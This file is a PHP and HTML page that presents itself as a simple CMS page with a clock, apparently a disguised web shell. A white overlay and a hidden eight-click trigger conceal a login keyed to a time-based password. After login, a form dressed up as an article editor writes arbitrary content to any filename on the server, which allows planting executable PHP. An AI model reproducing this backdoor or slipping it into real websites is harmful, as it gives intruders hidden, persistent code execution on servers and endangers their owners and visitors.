<!--单页phpcms-->
<html>
	<head>
		<meta charset="UTF-8">
		<title>add</title>
		<style type="text/css">
.bai {
	width: 100%;
	height: 800px;
	background-color: white;
	position: absolute;
	z-index: 5;
	/*display: none;*/
}
#btn {
	cursor: default;
	color: white;
	margin-top: 300px;
}
		</style>
	</head>
	<body>
<div class="bai" id="bai"><span id="btn">hehe</span></div>
<p>现在时间：<span id="showtime" ></span></p>
	</body>
<script type="text/javascript">
var btn=document.getElementById('btn');
var tag = 1;
btn.onclick = function(){
	var bai=document.getElementById('bai');
    if (tag == 1) {
        tag++;
    }else if(tag==8){
        alert(tag);
        bai.style.display="none";
        tag++;
    }else if(tag==999){
    	alert('999');
    	tag=1;
    }else{
    	tag++;
    }
}
	function getDate(){
		var date=new Date();
		var year=date.getFullYear();
		var month=date.getMonth()+1;
		var day=date.getDate();
		var weeks=["日","一","二","三","四","五","六"];
		var week=date.getDay();
		var hours=date.getHours();
		var min=date.getMinutes();
		var sec=date.getSeconds();
		var str =year+"-"+month+"-"+day+" 星期"+weeks[week]+" "+hours+":"+min+":"+sec;
		document.getElementById("showtime").innerHTML=str;
	}
	setInterval("getDate()",1000);
</script>
</html>

<?php
header("content-type:text/html;charset=utf-8");
$lifetime=3600;
session_set_cookie_params($lifetime);
session_start();
$zm='lyesswlqbj';
$arr=array(37575451,37575451,195956535,91515457,735356595,37575859,91515253,195958575,735352515,37575451);
$now=date('Y-m-d H:i:s');
$i=substr($now, -2,1);
$s=substr($now, -1,1);
$mm=$zm{$i}.$zm{$s}.$arr[$s];
$nowt=$_SESSION['now']?$_SESSION['now']:$now;
echo "访问时刻：".$nowt."</br></br>";
echo "末二八码公式</br></br>";
if(!$_SESSION['mm']){
	$_SESSION['mm']=$mm;
	$_SESSION['now']=$now;
}
if($_POST['dpwd']==$_SESSION['mm']){
	$_SESSION['dpwd'] = 'dpwd';
}elseif($_POST['dpwd']&&($_POST['dpwd']!=$_SESSION['mm'])){
	echo "<script>";
	echo "alert('错啦 ~_~！');";
	echo "window.location.href='#';";
	echo "</script>";
}

if(!$_SESSION['dpwd']){
	echo "<form action='#' method='post'>
			<input type='text' name='dpwd' value='' />
			<input type='submit' value='提交'/>
		</form>";
	exit();
}else{
	echo '<script type="text/javascript">
		bai.style.display="none";
	</script>';
}

if($_POST['create']=='create'){
	$handle = fopen($_POST['filename'], "w+");
	$w=fwrite($handle, $_POST['str']);
	if($w){
		echo "create OK";
		var_dump($w);
	}else{
		echo "create FAILED";
		var_dump($w);
	}
	exit();
}

?>
<html>
	<head>
		<meta charset="utf-8">
		<title>add2</title>
		<style type="text/css">
body {
	margin: 0;
}
		</style>
	</head>
	<body>
<form action="#" method="post">
	<input type="hidden" name="action" value="test" />
	<input type="hidden" name="diyid" value="1" />
	<input type="hidden" name="do" value="2" />
	<input type="hidden" name="create" value="create" />
	文章标题：<input name="filename" type="text" value="file_add.php"/>
	<p>文章内容：</p>
	<textarea style="width: 100%; height: 500px;" name="str" rows="10" cols="50"></textarea>
	<input type="submit" name="submit" value="提 交"   />
	<input type="reset" value="重 置" name="reset"  />
</form>
	</body>
</html>